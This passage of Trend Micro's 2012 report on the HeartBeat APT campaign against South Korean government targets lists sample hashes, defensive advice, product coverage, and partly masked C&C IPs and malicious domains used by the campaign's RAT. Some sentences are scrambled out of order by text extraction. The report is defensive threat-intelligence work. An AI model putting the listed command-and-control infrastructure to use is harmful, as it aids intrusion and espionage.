effectively hides the real location of the attackers behind HeartBeat. While having an isolated target may have helped them stay under the security industry s radar, the attackers illustrated that they were very careful but persistent. Understanding targeted campaigns and their methodologies is fundamental in protecting both end users and organizations. Not only does it help in coming up with effective defensive strategies through multiple protection layers, it also helps with predicting possible targets in the future and ultimately, raise awareness. As of this writing, the HeartBeat APT campaign remains an active targeted campaign. Timeline We collected 19 set of samples related to HeartBeat campaign from November 2009 to June 2012. This translates to 19 campaigns where the vast majority of which were distributed between 2011 and 2012. Nonetheless, the limited number of samples we were able to obtain still means that the campaign is indeed persistent. The isolated nature of this targeted attack and its small user base may only require the HeartBeat perpetrators to carry out minimal campaigns in order to infiltrate their targets. Campaign Date (MM/DD/YY) MD5 (.DLL component) Compile Date (MM/DD/YY) 11/19/09 7c6b44d8d87898e7e5deeeb1961b5ae6 9/17/2009 03/15/11 fcf42cadb3a932989c8e2b29cef68861 12/24/2010 04/17/11 aab129ffd3bf5ceeae2e0f332217bebc 3/18/2011 05/25/11 86547d674e7c7da55e8cae359819832f 5/6/2011 09/09/111 f947e63b14853a69b8ed2648869b5e10 7/25/2011 09/16/11 7f1a633384ec97fae9d95d1df9e1135a 7/25/2011 09/25/11 8816c5be1305488019769c81259dad2a 9/21/2011 10/22/11 874025a66c2b9d9831c03d1bc114876a 10/17/2011 11/03/11 4046dec1aa0eebb01fe7469184a95398 10/31/2011 11/13/11 ba370b17dc9eb1d1e1c3187f0768064f 10/31/2011 12/2011 51274cefb01cee981a09db83c984213d 11/28/2011 02/2012 d1a2253361045f91ed1902e9ffe2cec3 7/18/2011 03/05/12 20bb652e1d2679ed230102aa9676eca0 3/1/2012 03/26/12 c5c0fea23138cddab96fe22b657f9132 3/8/2012 03/28/12 ef2bc66ea69327d11d1859af26f5aef9 3/8/2012 03/29/12 8e50af054d2c0b45c88082d53c4fc423 3/8/2012 04/2012 b1e47ecd68c1c151866cec275716aa67 4/18/2012 05/20/12 6d205e78fb7730066c116b0c2dffa398 5/2/2012 06/04/12 5ec175512ba3c6e78597af48bbe6ca60 5/2/2012 Table 3. Specific dates of HeartBeat campaigns PAGE 10 | THE HEARTBEAT APT CAMPAIGN We did not obtain a campaign sample from 2010. However, we highly suspect that their operation was also active during that year. In fact, we can see in the second MD5 above that the sample was compiled in December 24, 2010. Also, it is possible that some of the campaign s attacks may not have been escalated to antivirus firms by infected users, or simply remains undiscovered. that contain file attachments using extensions such as .VBS, .BAT, .EXE, .PIF and .SCR files. Avoid opening email attachments and clicking embedded links from unknown sources Block any file with more than one file type extension. Defending against the HeartBeat Campaign When a computer is compromised, isolate it immediately from the network. Essential components of defense against the HeartBeat campaign are security-related policies within enterprises. Once an attack is identified, a good cleanup strategy should focus on determining the attack vector and cutting off communications with the C&C server. It is also vital to determine the scope of the compromise and assessing the damage through data analysis and forensics. Don t save login credentials on the local computer. Configure your system to show hidden files and folders and display file extensions. The following best practices are also advised: Disable services that are related to the HeartBeat RAT component. Enable system s firewall Keep software and operating systems updated with latest patches released by vendors to address vulnerabilities and exploits. Block unused ports to disallow malware from using these ports to communicate and/or enforce commands. Monitor network connections for any suspicious connection or connectivity. Regularly update list of sites that are trusted. Configure your email server to block or remove email PAGE 11 | THE HEARTBEAT APT CAMPAIGN Trend Micro Threat Protection Against The HeartBeat Campaign Components The following table summarizes the Trend Micro solutions for the components of the HeartBeat campaign. Trend Micro recommends a comprehensive security risk management strategy that goes further than advanced protection to meet the real-time threat management requirements of dealing with targeted attacks. Attack Component Protection Technology Trend Micro Solution HeartBeat TCP communication is blocked in the network layer as TCP_HBEAT_REQUEST Web Reputation Endpoint (Titanium, Worry-Free Business Security, OfficeScan) Server (Deep Security) Messaging (InterScan Messaging Security, ScanMail Suite for Microsoft Exchange) Network (Deep Discovery) Gateway (InterScan Web Security, InterScan Messaging Security) Mobile (Mobile Security) TROJ_DRPBEAT and BKDR_HBEAT variants File Reputation (Antivirus/Anti-malware) Endpoint (Titanium, Worry-Free Business Security, OfficeScan) Server (Deep Security) Messaging (InterScan Messaging Security, ScanMail Suite for Microsoft Exchange) Network (Deep Discovery) Gateway (InterScan Web Security, InterScan Messaging Security) Mobile (Mobile Security) XXX.XXX.217.123 XXX.XX.121.84 XX.XXX.203.122 XX.XXX.20.103 XXX.XXX.217.123 XXX.XX.121.84 XXX.XXX.178.50 XX.XXX.15.63 XXX.XXX.198.93 XXX.XXX.169.45 XXX.XXX.178.50 XXX.XXX.217.123 XX.XXX.136.115 XXX.XXX.178.50 XXX.XXX.4.180 XX.XXX.203.122 ahnlab.myfw.us kissyou01.myfw.us kita.myfw.us login.sbs.com.PassAs.us mail2.myfw.us park007.myfw.us snrp.UglyAs.com www.banking.com.PassAs.us www.huyang.go.kr.PassAs.us www.kinu.or.kr.rr.nu www.kndu.ac.kr.myfw.us young03.myfw.us Web, Domain, and IP Reputation Endpoint (Titanium, Worry-Free Business Security, OfficeScan) Server (Deep Security) Messaging (InterScan Messaging Security, ScanMail Suite for Microsoft Exchange) Network (Deep Discovery) Gateway (InterScan Web Security, InterScan Messaging Security) Mobile (Mobile Security) PAGE 12 | THE HEARTBEAT APT CAMPAIGN December 2012 | APT Campaign Quick Profile: HEARTBEAT Advanced persistent threats (APTs) refer to a category of threats that aggressively pursue and compromise specific targets to maintain persistent presence within the victim s network so they can move laterally and exfiltrate data. Unlike indiscriminate cybercrime attacks, spam, web threats, and the like, APTs are much harder to detect because of the targeted nature of related components and techniques. Also, while cybercrime focuses on stealing credit card and banking information to gain profit, APTs are better thought of as cyber espionage. HEARTBEAT First Seen Individual targeted attacks are not one-off attempts. Attackers continually try to get inside the target s network. The HeartBeat campaign has been persistently pursuing government agencies since 2009. The samples collected related to this campaign covered attacks seen from November 2009 to June 2012, although majority of the attacks were seen in 2011 and 2012. Victims and Targets APT campaigns target specific industries or communities of interest in specific regions. The HeartBeat campaign targets South Korean government organizations and institutions like political parties, media outfits, a national policy research institute, a military branch of South Korean armed forces, a small business sector organization, and branches of the South Korean government. Operations The 1st-stage computer intrusions often use social engineering. Attackers custom-fit attacks to their targets. The threat actors behind HeartBeat install a RAT in system. The RAT arrives as a disguised or fake document which is actually a bundled file. The bundled file contains both a decoy document and the RAT installer that has been packaged together using a binder tool. The campaign s decoy documents used the file formats .JPG, .PDF, XLS, and HWP, the Korean government standard word processor format. Possible Indicators of Compromise Attackers want to remain undetected as long as possible. A key characteristic of these attacks is stealth. The following indicators suggest an infection by the HeartBeat campaign: contiguous 02H bytes communication in the network, the presence of certain files and registries as detailed in the paper, and network connections to certain IPs and domains, including the presence of files detected as TROJ_DRPBEAT and BKDR_HBEAT. Relationship with other APT Campaigns This attack does not seem to have any relationship with other APT campaigns. PAGE 13 | THE HEARTBEAT APT CAMPAIGN TREND MICRO INCORPORATED TREND MICRO INC. Trend Micro Incorporated (TYO: 4704; TSE: 4704), a global cloud security leader, creates a world safe for exchanging digital information with its Internet content security and threat management solutions for businesses and consumers. A pioneer in server security with over 20 years experience, we deliver top-ranked client, server and cloudbased security that fits our customers and partners needs, stops new threats faster, and protects data in physical, virtualized and cloud environments. Powered by the industry-leading Trend Micro Smart Protection Network cloud computing security infrastructure, our products and services stop threats where they emerge from the Internet. They are supported by 1,000+ threat intelligence experts around the globe. 10101 N. De Anza Blvd. Cupertino, CA 95014 U.S. toll free: 1 +800.228.5651 Phone: 1 +408.257.1500 Fax: 1 +408.257.2003 www.trendmicro.com 2012 by Trend Micro, Incorporated. All rights reserved. Trend Micro and the Trend Micro t-ball logo are trademarks or registered trademarks of Trend Micro, Incorporated. All other product or company names may be trademarks or registered trademarks of their owners. PAGE 14 | THE HEARTBEAT APT CAMPAIGN